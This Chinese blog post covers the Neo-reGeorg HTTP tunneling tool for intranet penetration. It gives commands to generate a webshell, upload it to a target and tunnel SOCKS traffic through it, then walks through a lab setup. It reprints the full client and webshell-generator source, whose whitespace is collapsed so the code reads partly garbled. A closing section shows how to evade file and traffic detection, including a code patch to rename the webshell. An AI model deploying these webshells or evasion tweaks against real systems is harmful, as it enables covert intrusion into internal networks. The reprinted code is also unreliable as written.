内网渗透系列:内网隧道之Neo

编程入门 行业动态 更新时间:2024-10-10 05:23:47

<a href=https://www.elefans.com/category/jswz/34/1768788.html style=内网渗透系列:内网隧道之Neo"/>

内网渗透系列:内网隧道之Neo

目录

  • 前言
  • 一、概述
    • 1、简介
    • 2、原理
    • 3、用法
  • 二、实践
    • 1、测试场景
    • 2、建立隧道
  • 三、探索
    • 1、源码与分析
    • 2、检测与绕过
      • (1)文件特征
      • (2)流量特征
  • 结语

前言

本文研究HTTP隧道的一个工具,Neo-reGeorg

github:

一、概述

1、简介

写于2020年,持续更新,重构版reGeorg,python写的,提高稳定性和可用性,避免特征检测

  • 传输内容经过变形 base64 加密,伪装成 base64 编码
  • 直接请求响应可定制化 (如伪装的404页面)
  • HTTP Headers 的指令随机生成,避免特征检测
  • HTTP Headers 可定制化
  • 自定义 HTTP 响应码
  • 多 URL 随机请求
  • 服务端 DNS 解析
  • 兼容 python2 / python3
  • 服务端环境的高兼容性
  • aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行

2、原理

socks代理数据是包裹在http协议里边

3、用法

  • 生成webshell

    python3 neoreg.py generate -k password
    
  • 上传生成的webshell

  • 连接webshell

    python3 neoreg.py -k password -u http://xx/tunnel.php
    

特殊用法

  • 伪装404

    python neoreg.py generate -k <you_password> --file 404.html --httpcode 404
    
  • 如需 Authorization 认证和定制的 Header 或 Cookie

    $ python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"
    
  • 需要分散请求,可上传到多个路径上,如内存马

    python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3> ...
    
  • 使用端口转发功能,非启动 socks5 服务 ( 127.0.0.1:1080 -> ip:port )

    python neoreg.py -k <you_password> -u <url> -t <ip:port>
    

二、实践

1、测试场景

攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129

开放web服务

2、建立隧道

生成webshell

python3 neoreg.py generate -k 123456


将tunnel.jsp改名为1.jsp

上传1.jsp,curl下确认


连接webshell

python3 neoreg.py -k 123456 -u http://192.168.10.129/1.jsp


然后就可以通过proxychains来利用socks代理了

三、探索

1、源码与分析

#!/usr/bin/env python
# -*- coding: utf-8 -*-__author__  = 'L'
__version__ = '3.4.0'import sys
import os
import re
import base64
import struct
import random
import hashlib
import logging
import argparse
import requests
import uuid
import codecs
from time import sleep, time, mktime
from datetime import datetime
from socket import *
from itertools import chain
from threading import Threadrequests.packages.urllib3.disable_warnings()ROOT = os.path.dirname(os.path.realpath(__file__))ispython3 = True if sys.version_info >= (3, 0) else False# Constants
SOCKTIMEOUT       = 5
VER               = b"\x05"
METHOD            = b"\x00"
SUCCESS           = b"\x00"
REFUSED           = b"\x05"
#SOCKFAIL         = b"\x01"
#NETWORKFAIL      = b"\x02"
#HOSTFAIL         = b"\x04"
#TTLEXPIRED       = b"\x06"
#UNSUPPORTCMD     = b"\x07"
#ADDRTYPEUNSPPORT = b"\x08"
#UNASSIGNED       = b"\x09"# Globals
READBUFSIZE   = 7
MAXTHERADS    = 1000
READINTERVAL  = 300
WRITEINTERVAL = 200
PHPTIMEOUT    = 0.5# Logging
RESET_SEQ = "\033[0m"
COLOR_SEQ = "\033[1;%dm"
BOLD_SEQ  = "\033[1m"BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8)# CRITICAL > ERROR > WARNING > INFO > DEBUG > NOTSET
LEVEL = [('ERROR', logging.ERROR),('WARNING', logging.WARNING),('INFO', logging.INFO),('DEBUG', logging.DEBUG),
]COLORS = {'WARNING':  YELLOW,'INFO':     WHITE,'DEBUG':    BLUE,'CRITICAL': YELLOW,'ERROR':    RED,'RED':      RED,'GREEN':    GREEN,'YELLOW':   YELLOW,'BLUE':     BLUE,'MAGENTA':  MAGENTA,'CYAN':     CYAN,'WHITE':    WHITE,
}# 消息的格式和颜色
def formatter_message(message, use_color=True):if use_color:message = message.replace("$RESET", RESET_SEQ).replace("$BOLD", BOLD_SEQ)else:message = message.replace("$RESET", "").replace("$BOLD", "")return messageclass ColoredFormatter(logging.Formatter):def __init__(self, msg, use_color=True):logging.Formatter.__init__(self, msg)self.use_color = use_colordef format(self, record):levelname = record.levelnameif self.use_color and levelname in COLORS:levelname_color = COLOR_SEQ % (30 + COLORS[levelname]) + levelname + RESET_SEQrecord.levelname = levelname_colorreturn logging.Formatter.format(self, record)class ColoredLogger(logging.Logger):def __init__(self, name):use_color = not sys.platform.startswith('win')FORMAT = "[$BOLD%(levelname)-19s$RESET]  %(message)s"COLOR_FORMAT = formatter_message(FORMAT, use_color)logging.Logger.__init__(self, name, 'INFO')if (name == "transfer"):COLOR_FORMAT = "\x1b[80D\x1b[1A\x1b[K%s" % COLOR_FORMATcolor_formatter = ColoredFormatter(COLOR_FORMAT, use_color)console = logging.StreamHandler()console.setFormatter(color_formatter)self.addHandler(console)logging.setLoggerClass(ColoredLogger)
log = logging.getLogger(__name__)
transferLog = logging.getLogger("transfer")class SocksCmdNotImplemented(Exception):pass# 给请求头提供随机键值
class Rand:def __init__(self, key):n = int(hashlib.sha512(key.encode()).hexdigest(), 16)self.k_clist = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"self.v_clist = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_"self.k_clen = len(self.k_clist)self.v_clen = len(self.v_clist)random.seed(n)def header_key(self):str_len = random.getrandbits(4) + 2 # len 2 to 17return ''.join([ self.k_clist[random.getrandbits(10) % self.k_clen] for _ in range(str_len) ]).capitalize()def header_value(self):str_len = random.getrandbits(6) + 2 # len 2 to 65return ''.join([ self.v_clist[random.getrandbits(10) % self.v_clen] for _ in range(str_len) ])def base64_chars(self, charslist):if sys.version_info >= (3, 2):newshuffle = random.shuffleelse:try:xrangeexcept NameError:xrange = rangedef newshuffle(x):def _randbelow(n):getrandbits = random.getrandbitsk = n.bit_length()r = getrandbits(k)while r >= n:r = getrandbits(k)return rfor i in xrange(len(x) - 1, 0, -1):j = _randbelow(i+1)x[i], x[j] = x[j], x[i]newshuffle(charslist)# 核心部分
class session(Thread):def __init__(self, conn, pSocket, connectURLs, redirectURLs, FwdTarget):Thread.__init__(self)self.pSocket = pSocketself.connectURLs = connectURLsself.redirectURLs = redirectURLsself.conn = connself.connect_closed = Falseself.session_connected = Falseself.fwd_target = FwdTarget# webshell的连接urldef url_sample(self):return random.choice(self.connectURLs)# 转发的urldef redirect_url_sample(self):return random.choice(self.redirectURLs)# 更新请求头def headerupdate(self, headers):headers.update(HEADERS)if self.redirectURLs:headers[K['X-REDIRECTURL']] = self.redirect_url_sample()# 利用uuid生成随机字符串def session_mark(self):mark = base64.b64encode(uuid.uuid4().bytes)[0:-2]if ispython3:mark = mark.decode()mark = mark.replace('+', ' ').replace('/', '_')mark = re.sub('^[ _]| $', 'L', mark) # Invalid return character or leading space in headerreturn mark# SOCKS5def parseSocks5(self, sock):log.debug("SocksVersion5 detected")nmethods = sock.recv(1)methods = sock.recv(ord(nmethods))sock.sendall(VER + METHOD)ver = sock.recv(1)if ver == b"\x02":                # this is a hack for proxychainsver, cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1), sock.recv(1))else:cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1))target = NonetargetPort = Noneif atyp == b"\x01":      # IPv4target = sock.recv(4)targetPort = sock.recv(2)target = inet_ntoa(target)elif atyp == b"\x03":             # HostnametargetLen = ord(sock.recv(1)) # hostname length (1 byte)target = sock.recv(targetLen)targetPort = sock.recv(2)if LOCALDNS:try:target = gethostbyname(target)except:log.error("DNS resolution failed(%s)" % target.decode())return Falseelse:target = target.decode()elif atyp == b"\x04":    # IPv6target = sock.recv(16)targetPort = sock.recv(2)target = inet_ntop(AF_INET6, target)if targetPort == None:return FalsetargetPortNum = struct.unpack('>H', targetPort)[0]if cmd == b"\x02":   # BINDraise SocksCmdNotImplemented("Socks5 - BIND not implemented")elif cmd == b"\x03": # UDPraise SocksCmdNotImplemented("Socks5 - UDP not implemented")elif cmd == b"\x01": # CONNECTtry:serverIp = inet_aton(target)except:# Forged temporary address 127.0.0.1serverIp = inet_aton('127.0.0.1')mark = self.setupRemoteSession(target, targetPortNum)if mark:sock.sendall(VER + SUCCESS + b"\x00" + b"\x01" + serverIp + targetPort)return Trueelse:sock.sendall(VER + REFUSED + b"\x00" + b"\x01" + serverIp + targetPort)return Falseraise SocksCmdNotImplemented("Socks5 - Unknown CMD")# 检查是不是SOCKS5def handleSocks(self, sock):try:ver = sock.recv(1)if ver == b"\x05":res = self.parseSocks5(sock)if not res:sock.close()return reselif ver == b'':log.warning("[SOCKS] Failed to get version")else:log.error("Only support Socks5 protocol")return Falseexcept OSError:return Falseexcept timeout:return False# 启动线程def handleFwd(self, sock):log.debug("Forward detected")host, port = self.fwd_target.split(':', 1)mark = self.setupRemoteSession(host, int(port))return bool(mark)# 错误信息def error_log(self, str_format, headers):if K['X-ERROR'] in headers:message = headers[K["X-ERROR"]]if message in rV:message = rV[message]log.error(str_format.format(repr(message)))# base64加密ip:portdef encode_target(self, data):data = base64.b64encode(data)if ispython3:data = data.decode()return data.translate(EncodeMap)# base64加密信息def encode_body(self, data):data = base64.b64encode(data)if ispython3:data = data.decode()return data.translate(EncodeMap)# base64解密信息def decode_body(self, data):if ispython3:data = data.decode()return base64.b64decode(data.translate(DecodeMap))# SOCKS线程def setupRemoteSession(self, target, port):self.mark = self.session_mark()target_data = ("%s|%d" % (target, port)).encode()headers = {K["X-CMD"]: self.mark+V["CONNECT"], K["X-TARGET"]: self.encode_target(target_data)}self.headerupdate(headers)self.target = targetself.port = portif '.php' in self.connectURLs[0]:try:response = self.conn.get(self.url_sample(), headers=headers, timeout=PHPTIMEOUT)except:log.info("[%s:%d] HTTP [200]: mark [%s]" % (self.target, self.port, self.mark))return self.markelse:response = self.conn.get(self.url_sample(), headers=headers)rep_headers = response.headersif K['X-STATUS'] in rep_headers:status = rep_headers[K["X-STATUS"]]if status == V["OK"]:log.info("[%s:%d] Session mark [%s]" % (self.target, self.port, self.mark))return self.markelse:self.error_log('[CONNECT] [%s:%d] ERROR: {}' % (self.target, self.port), rep_headers)return Falseelse:log.critical('Bad KEY or non-neoreg server')return False# 结束SOCKS线程def closeRemoteSession(self):try:if not self.connect_closed:self.connect_closed = Truetry:self.pSocket.close()log.debug("[%s:%d] Closing localsocket" % (self.target, self.port))except:if hasattr(self, 'target'):log.debug("[%s:%d] Localsocket already closed" % (self.target, self.port))if hasattr(self, 'mark'):headers = {K["X-CMD"]: self.mark+V["DISCONNECT"]}self.headerupdate(headers)response = self.conn.get(self.url_sample(), headers=headers)if not self.connect_closed:if hasattr(self, 'target'):log.info("[DISCONNECT] [%s:%d] Connection Terminated" % (self.target, self.port))else:log.error("[DISCONNECT] Can't find target")except requests.exceptions.ConnectionError as e:log.warning('[requests.exceptions.ConnectionError] {}'.format(e))# 读取数据def reader(self):try:headers = {K["X-CMD"]: self.mark+V["READ"]}self.headerupdate(headers)n = 0while True:try:if self.connect_closed or self.pSocket.fileno() == -1:breakresponse = self.conn.get(self.url_sample(), headers=headers)rep_headers = response.headersif K['X-STATUS'] in rep_headers:status = rep_headers[K["X-STATUS"]]if status == V["OK"]:data = response.contentif len(data) == 0:sleep(READINTERVAL)continueelse:data = self.decode_body(data)else:msg = "[READ] [%s:%d] HTTP [%d]: Status: [%s]: Message [{}] Shutting down" % (self.target, self.port, response.status_code, rV[status])self.error_log(msg, rep_headers)breakelse:log.error("[READ] [%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status_code))breakif len(data) > 0:n += 1data_len = len(data)transferLog.info("[%s:%d] [%s] (%d)<<<< [%d]" % (self.target, self.port, self.mark, n, data_len))while data:writed_size = self.pSocket.send(data)data = data[writed_size:]if data_len < 500:sleep(READINTERVAL)except error: # python2 socket.send errorpassexcept requests.exceptions.ConnectionError as e:log.warning('[requests.exceptions.ConnectionError] {}'.format(e))except requests.exceptions.ChunkedEncodingError as e: # python2 requests errorlog.warning('[requests.exceptions.ChunkedEncodingError] {}'.format(e))except Exception as ex:raise exfinally:self.closeRemoteSession()# 写数据def writer(self):try:headers = {K["X-CMD"]: self.mark+V["FORWARD"], 'Content-type': 'application/octet-stream'}self.headerupdate(headers)n = 0while True:try:raw_data = self.pSocket.recv(READBUFSIZE)if not raw_data:breakdata = self.encode_body(raw_data)response = self.conn.post(self.url_sample(), headers=headers, data=data)rep_headers = response.headersif K['X-STATUS'] in rep_headers:status = rep_headers[K["X-STATUS"]]if status != V["OK"]:msg = "[FORWARD] [%s:%d] HTTP [%d]: Status: [%s]: Message [{}] Shutting down" % (self.target, self.port, response.status_code, rV[status])self.error_log(msg, rep_headers)breakelse:log.error("[FORWARD] [%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status_code))breakn += 1transferLog.info("[%s:%d] [%s] (%d)>>>> [%d]" % (self.target, self.port, self.mark, n, len(raw_data)))if len(raw_data) < READBUFSIZE:sleep(WRITEINTERVAL)except timeout:continueexcept error:breakexcept OSError:breakexcept requests.exceptions.ConnectionError as e: # python2 socket.send errorlog.error('[requests.exceptions.ConnectionError] {}'.format(e))breakexcept Exception as ex:raise exbreakfinally:self.closeRemoteSession()# 启动线程def run(self):try:if self.fwd_target:self.session_connected = self.handleFwd(self.pSocket)else:self.session_connected = self.handleSocks(self.pSocket)if self.session_connected:log.debug("Staring reader")r = Thread(target=self.reader)r.start()log.debug("Staring writer")w = Thread(target=self.writer)w.start()r.join()w.join()except SocksCmdNotImplemented as si:log.error('[SocksCmdNotImplemented] {}'.format(si))except requests.exceptions.ConnectionError as e:log.warning('[requests.exceptions.ConnectionError] {}'.format(e))except Exception as e:log.error('[RUN] {}'.format(e))raise efinally:if self.session_connected:self.closeRemoteSession()# 客户端连接webshell时的逻辑
def askGeorg(conn, connectURLs, redirectURLs):# only check firstlog.info("Checking if Georg is ready")headers = {}headers.update(HEADERS)if redirectURLs:headers[K['X-REDIRECTURL']] = redirectURLs[0]if INIT_COOKIE:headers['Cookie'] = INIT_COOKIEneed_exit = Falsetry:response = conn.get(connectURLs[0], headers=headers, timeout=10)if '.php' in connectURLs[0]:if 'Expires' in response.headers:expires = response.headers['Expires']try:expires_date = datetime.strptime(expires, '%a, %d %b %Y %H:%M:%S %Z')if mktime(expires_date.timetuple()) < time():log.warning('Server Session expired')if 'Set-Cookie' in response.headers:cookie = ''for k, v in response.cookies.items():cookie += '{}={};'.format(k, v)HEADERS.update({'Cookie' : cookie})log.warning("Automatically append Cookies: {}".format(cookie))else:log.error('There is no valid cookie return')need_exit = Trueexcept ValueError:log.warning('Expires wrong format: {}'.format(expires))except:log.error("Georg is not ready, please check URL.")exit()if need_exit:exit()if redirectURLs and response.status_code >= 400:log.warning('Using redirection will affect performance when the response code >= 400')if BASICCHECKSTRING == response.content.strip():log.info("Georg says, 'All seems fine'")return Trueelse:if args.skip:log.debug("Ignore detecting that Georg is ready")else:if K['X-ERROR'] in response.headers:message = response.headers[K["X-ERROR"]]if message in rV:message = rV[message]log.error("Georg is not ready. Error message: %s" % message)else:log.warning('Expect Response: {}'.format(BASICCHECKSTRING[0:100]))log.warning('Real Response: {}'.format(response.content.strip()[0:100]))log.error("Georg is not ready, please check URL and KEY. rep: [{}] {}".format(response.status_code, response.reason))log.error("You can set the `--skip` parameter to ignore errors")exit()# 随机useragent
def choice_useragent():user_agents = ["Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/7.1.7 Safari/537.85.16","Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0","Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.11 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.11","Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0","Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0","Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0","Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:38.0) Gecko/20100101 Firefox/38.0"]return random.choice(user_agents)# 读取webshell
def file_read(filename):try:with codecs.open(filename, encoding="utf-8") as f:return f.read()except:log.error("Failed to read file: %s" % filename)exit()# 生成webshell
def file_write(filename, data):try:with open(filename, 'w') as f:f.write(data)except:log.error("Failed to write file: %s" % filename)exit()banner = r""""$$$$$$''  'M$  '$$$@m:$$$$$$$$$$$$$$''$$$$''$'    'JZI'$$&  $$$$''$$$  '$$$$$$$$  J$$$$'m$$$$  $$$$,$$$$@  '$$$$_          Neo-reGeorg'1t$$$$' '$$$$<'$$$$$$$$$$'  $$$$          version {}'@$$$$'  $$$$''$$$$  '$$$@'z$$$$$$  @$$$r$$$   $$|'$$v c$$'$$v $$v$$$$$$$$$#$$x$$$$$$$$$twelve$$$@$'@$$$@L '    '<@$$$$$$$$`$$                 '$$$[ Github ] 
""".format(__version__)use_examples = r"""[ Basic Use ]./neoreg.py generate -k <you_password>./neoreg.py -k <you_password> -u <server_url>[ Advanced Use ]./neoreg.py generate -k <you_password> --file 404.html./neoreg.py -k <you_password> -u <server_url> \--skip --proxy http://127.0.0.1:8080 -vv \-H 'Authorization: cm9vdDppcyB0d2VsdmU='"""if __name__ == '__main__':if len(sys.argv) == 1:print(banner)print(use_examples)exit()elif len(sys.argv) > 1 and sys.argv[1] == 'generate':del sys.argv[1]parser = argparse.ArgumentParser(description='Generate neoreg webshell')parser.add_argument("-k", "--key", metavar="KEY", required=True, help="Specify connection key.")parser.add_argument("-o", "--outdir", metavar="DIR", help="Output directory.", default='neoreg_servers')parser.add_argument("-f", "--file", metavar="FILE", help="Camouflage html page file")parser.add_argument("-c", "--httpcode", metavar="CODE", help="Specify HTTP response code. When using -r, it is recommended to <400. (default: 200)", type=int, default=200)parser.add_argument("--read-buff", metavar="Bytes", help="Remote read buffer. (default: 513)", type=int, default=513)parser.add_argument("--max-read-size", metavar="KB", help="Remote max read size. (default: 512)", type=int, default=512)args = parser.parse_args()else:parser = argparse.ArgumentParser(description="Socks server for Neoreg HTTP(s) tunneller. DEBUG MODE: -k (debug_all|debug_base64|debug_headers_key|debug_headers_values)")parser.add_argument("-u", "--url", metavar="URI", required=True, help="The url containing the tunnel script", action='append')parser.add_argument("-r", "--redirect-url", metavar="URL", help="Intranet forwarding the designated server (only jsp(x))", action='append')parser.add_argument("-t", "--target", metavar="IP:PORT", help="Network forwarding Target, After setting this parameter, port forwarding will be enabled")parser.add_argument("-k", "--key", metavar="KEY", required=True, help="Specify connection key")parser.add_argument("-l", "--listen-on", metavar="IP", help="The default listening address.(default: 127.0.0.1)", default="127.0.0.1")parser.add_argument("-p", "--listen-port", metavar="PORT", help="The default listening port.(default: 1080)", type=int, default=1080)parser.add_argument("-s", "--skip", help="Skip usability testing", action='store_true')parser.add_argument("-H", "--header", metavar="LINE", help="Pass custom header LINE to server", action='append', default=[])parser.add_argument("-c", "--cookie", metavar="LINE", help="Custom init cookies")parser.add_argument("-x", "--proxy", metavar="LINE", help="Proto://host[:port]  Use proxy on given port", default=None)parser.add_argument("--php-connect-timeout", metavar="S", help="PHP connect timeout.(default: 0.5)", type=float, default=PHPTIMEOUT)parser.add_argument("--local-dns", help="Use local resolution DNS", action='store_true')parser.add_argument("--read-buff", metavar="KB", help="Local read buffer, max data to be sent per POST.(default: {}, max: 50)".format(READBUFSIZE), type=int, default=READBUFSIZE)parser.add_argument("--read-interval", metavar="MS", help="Read data interval in milliseconds.(default: {})".format(READINTERVAL), type=int, default=READINTERVAL)parser.add_argument("--write-interval", metavar="MS", help="Write data interval in milliseconds.(default: {})".format(WRITEINTERVAL), type=int, default=WRITEINTERVAL)parser.add_argument("--max-threads", metavar="N", help="Proxy max threads.(default: 1000)", type=int, default=MAXTHERADS)parser.add_argument("-v", help="Increase verbosity level (use -vv or more for greater effect)", action='count', default=0)args = parser.parse_args()rand = Rand(args.key)BASE64CHARS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'if args.key in ['debug_all', 'debug_base64']:M_BASE64CHARS = BASE64CHARSelse:M_BASE64CHARS = list(BASE64CHARS)rand.base64_chars(M_BASE64CHARS)M_BASE64CHARS = ''.join(M_BASE64CHARS)if ispython3:maketrans = str.maketranselse:from string import maketransEncodeMap = maketrans(BASE64CHARS, M_BASE64CHARS)DecodeMap = maketrans(M_BASE64CHARS, BASE64CHARS)BASICCHECKSTRING = ('<!-- ' + rand.header_value() + ' -->').encode()K = {}for name in ["X-STATUS", "X-ERROR", "X-CMD", "X-TARGET", "X-REDIRECTURL"]:if args.key in ['debug_all', 'debug_headers_key']:K[name] = nameelse:K[name] = rand.header_key()V = {}rV = {}for name in ["FAIL", "Failed creating socket", "Failed connecting to target", "OK", "Failed writing socket","CONNECT", "DISCONNECT", "READ", "FORWARD", "Failed reading from socket", "No more running, close now","POST request read filed", "Intranet forwarding failed"]:if args.key in ['debug_all', 'debug_headers_value']:V[name] = namerV[name] = nameelse:value = rand.header_value()V[name] = valuerV[value] = nameif 'url' in args:# neoreg connectif args.v > 2:args.v = 2LOCALDNS = args.local_dnsLEVELNAME, LEVELLOG = LEVEL[args.v]log.setLevel(LEVELLOG)transferLog.setLevel(LEVELLOG)separation = "+" + "-" * 72 + "+"print(banner)print(separation)print("  Log Level set to [%s]" % LEVELNAME)USERAGENT = choice_useragent()PHPTIMEOUT = args.php_connect_timeouturls = args.urlredirect_urls = []HEADERS = {}if args.redirect_url:for url in args.redirect_url:data = base64.b64encode(url.encode())if ispython3:data = data.decode()redirect_urls.append( data.translate(EncodeMap) )for header in args.header:if ':' in header:key, value = header.split(':', 1)HEADERS[key.strip()] = value.strip()else:print("\nError parameter: -H %s" % header)exit()INIT_COOKIE = args.cookiePROXY = { 'http': args.proxy, 'https': args.proxy } if args.proxy else Noneif args.target:if not re.match(r'[^:]+:\d+', args.target):print("[!] Target parameter error: {}".format(args.target))exit()print("  Starting Forward [%s:%d] => [%s]" % (args.listen_on, args.listen_port, args.target))else:print("  Starting SOCKS5 server [%s:%d]" % (args.listen_on, args.listen_port))print("  Tunnel at:")for url in urls:print("    "+url)if args.proxy:print("  Client Proxy:\n    "+ args.proxy)if redirect_urls:print("  Redirect to:")for url in args.redirect_url:print("    "+url)print(separation)try:conn = requests.Session()conn.proxies = PROXYconn.verify = Falseconn.headers['Accept-Encoding'] = 'gzip, deflate'conn.headers['User-Agent'] = USERAGENTservSock_start = FalseaskGeorg(conn, urls, redirect_urls)READBUFSIZE  = min(args.read_buff, 50) * 1024MAXTHERADS   = args.max_threadsREADINTERVAL = args.read_interval / 1000.0WRITEINTERVAL = args.write_interval / 1000.0try:servSock = socket(AF_INET, SOCK_STREAM)servSock_start = TrueservSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)servSock.bind((args.listen_on, args.listen_port))servSock.listen(MAXTHERADS)except Exception as e:log.error("[Server Listen] {}".format(e))exit()while True:try:sock, addr_info = servSock.accept()sock.settimeout(SOCKTIMEOUT)log.debug("Incomming connection")session(conn, sock, urls, redirect_urls, args.target).start()except KeyboardInterrupt as ex:breakexcept timeout:log.warning("[Socks Connect Tiemout] {}".format(addr_info))if sock:sock.close()except OSError:if sock:sock.close()except error:passexcept Exception as e:log.error(e)raise eexcept requests.exceptions.ProxyError:log.error("Unable to connect proxy: %s" % args.proxy)except requests.exceptions.ConnectionError:log.error("Can not connect to the server")finally:if servSock_start:servSock.close()else:# neoreg server generateprint(banner)READBUF = args.read_buff - (args.read_buff % 3)MAXREADSIZE = args.max_read_size * 1024outdir = args.outdirif not os.path.isdir(outdir):os.mkdir(outdir)print('    [+] Mkdir a directory: %s' % outdir)keyfile = os.path.join(outdir, 'key.txt')file_write(keyfile, args.key)M_BASE64ARRAY = []for i in range(128):if chr(i) in BASE64CHARS:num = M_BASE64CHARS.index(chr(i))M_BASE64ARRAY.append(num)else:M_BASE64ARRAY.append(-1)script_dir = os.path.join(ROOT, 'templates')print("    [+] Create neoreg server files:")if args.file:http_get_content = repr(file_read(args.file)).replace("\\'", "'").replace('"', '\\"')[1:-1]http_get_content, n = re.subn(r'\\[xX][a-fA-F0-9]{2}', '', http_get_content)if n > 0:print("    [*] %d invisible strings were deleted" % n)else:http_get_content = BASICCHECKSTRING.decode()for filename in os.listdir(script_dir):outfile = os.path.join(outdir, filename)filepath = os.path.join(script_dir, filename)if os.path.isfile(filepath) and filename.startswith('tunnel.'):text = file_read(filepath)text = text.replace(r"Georg says, 'All seems fine'", http_get_content)text = re.sub(r"BASE64 CHARSLIST", M_BASE64CHARS, text)# only jsptext = re.sub(r"BASE64 ARRAYLIST", ','.join(map(str, M_BASE64ARRAY)), text)text = re.sub(r"\bREADBUF\b", str(READBUF), text)text = re.sub(r"\bMAXREADSIZE\b", str(MAXREADSIZE), text)for k, v in chain(K.items(), V.items()):text = re.sub(r'\b%s\b' % k, v, text)text = re.sub(r"\bHTTPCODE\b", str(args.httpcode), text)file_write(outfile, text)print("       => %s/%s" % (outdir, os.path.basename(outfile)))# jsp/jspx trimDirectiveWhitespaces=trueif filename.endswith(('.jsp', '.jspx')):text = text.replace(' trimDirectiveWhitespaces="true"', '')outfile = os.path.join(outdir, filename.replace('tunnel.', 'tunnel_compatibility.'))file_write(outfile, text)print("       => %s/%s" % (outdir, os.path.basename(outfile)))print('')

2、检测与绕过

(1)文件特征

webshell的hash和文件名(现在默认tunnel)还有代码特征等

绕过:进行针对性修改

-k:主要影响webshell文件中的随机字符串,主要位置在headers的键值。
-f:主要影响webshell文件最后位置,exit函数运行结束后打印的html代码。
-c:主要影响webshell文件设定的响应状态码。

再加个-n来修改文件名,代码里加入:

// 558行添加
parser.add_argument("-n", "--filename", metavar="FILENAME", help="webshell name", default="tunnel")
// 739行下面添加outfilename = filename.replace('tunnel.', args.filename + '.')outfile = os.path.join(outdir, outfilename)
// 770行改为入下
outfile = os.path.join(outdir, filename.replace('tunnel.', args.filename + '_compatibility.'))

(2)流量特征

由于都用了随机字符和base64编码,所以流量特征不是很明显,不过另一方面来讲,有些本身可读的,比如header就显眼了

绕过:改为维护一个字典,而不是纯随机

结语

由于是HTTP,没有加密,所以其实可用的空间不大

更多推荐

内网渗透系列:内网隧道之Neo

本文发布于:2024-02-14 09:33:45,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1762894.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:内网   隧道   系列   Neo

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!